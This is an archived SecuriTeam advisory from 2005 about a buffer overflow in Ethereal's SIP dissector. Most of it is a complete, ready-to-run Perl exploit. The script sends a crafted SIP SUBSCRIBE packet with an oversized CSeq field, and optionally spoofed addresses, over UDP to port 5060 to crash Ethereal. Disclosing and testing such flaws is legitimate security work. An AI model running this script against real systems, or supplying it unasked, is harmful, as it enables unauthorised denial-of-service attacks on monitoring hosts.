[EXPL] Ethereal SIP Dissector Overflow (Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 05/08/05
- Previous message: SecuriTeam: "[NEWS] Oracle Fine Grained Auditing Issue"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 8 May 2005 17:57:00 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Ethereal SIP Dissector Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/securitynews/5IP082AFPA.html> Ethereal SIP
Dissector Overflow, a vulnerability in Ethereal's SIP dissector allows
attackers to cause Ethereal to crash by overflowing an internal buffer
used by Ethereal when it tries to handle SIP related packets. The
following exploit code can be used to test your system for the mentioned
vulnerability.
DETAILS
Exploit:
#!/usr/bin/perl -w
# Exploit generated by beSTORM on 2005-05-08 17:49
# All Rights Reserved - Copyright (tm)
use IO::Socket;
use strict;
my $target = shift;
my $print_usage = 0;
my $repeated_type = "A";
if (!$target)
{
usage();
print "No target has been supplied, reverting to 192.168.1.52.\n";
$target = "192.168.1.52";
}
my $repeating = shift;
if (!$repeating )
{
usage();
$repeating = 1000;
print "Repeating has not been supplied, reverting to $repeating.\n";
}
my $attackerip = shift;
if (!$attackerip)
{
usage();
print "Attacker IP address has not been supplied, reverting to
192.168.1.49.\n";
$attackerip = "192.168.1.49";
}
my $attackedip = shift;
if (!$attackedip)
{
usage();
print "Contact IP address has not been supplied, reverting to
192.168.1.3.\n";
$attackedip = "192.168.1.3";
}
print "Will attack $target.\n";
print "Attacker IP address defined as: $attackerip\n";
print "Attacked IP address defined as: $attackedip\n";
print "Will repeat '$repeated_type' $repeating times\n";
my $repeated_data = ($repeated_type x $repeating);
my $target_port = 5060;
my $packet =<<END;
SUBSCRIBE sip:username:password\@$attackerip SIP/2.0\r
To: <sip:$attackedip:$target_port>\r
Via: SIP/2.0/UDP $attackedip:3277\r
From: "STORM"<sip:$attackedip:3277>\r
Call-ID: 3121$attackedip\r
CSeq: $repeated_data\r
Max-Forwards: 70\r
Contact: <sip:$attackerip:5059>\r
\r
END
print "Sending: [$packet]\n";
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);
send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to
$target : $target_port : $!\n";
print "Done.\n";
sub usage
{
if ($print_usage) { return; }
$print_usage = 1;
print ("#"x50);
print "\n";
print "# $0 [hostname] [repeater] [attackerip] [attackedip]\n";
print "# hostname\t-\tThe host the packet will be sent to.\n";
print "# repeater\t-\tThe number of times the character will be sent
(repeated character $repeated_type).\n";
print "# attackerip\t-\tThe IP address from which the packet should
be\n";
print "\t\t\taddressed from (doesn't have to be your IP address).\n";
print "# attackedip\t-\tThe IP address that you are contacting\n";
print "\t\t\t(doesn't have to be the hostname IP's address).\n";
print "\n";
print "Results may vary depending on how the remote host handles
packets.\n";
print "For example:\n";
print " * Some SIP Proxies won't look into packets addressed to it
(attackedip or attackerip).\n";
print " * Some SIP Routers won't handle packets that aren't addressed to
it.\n";
print "etc\n";
print "\n";
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:storm@beyondsecurity.com>
beSTORM.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Oracle Fine Grained Auditing Issue"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|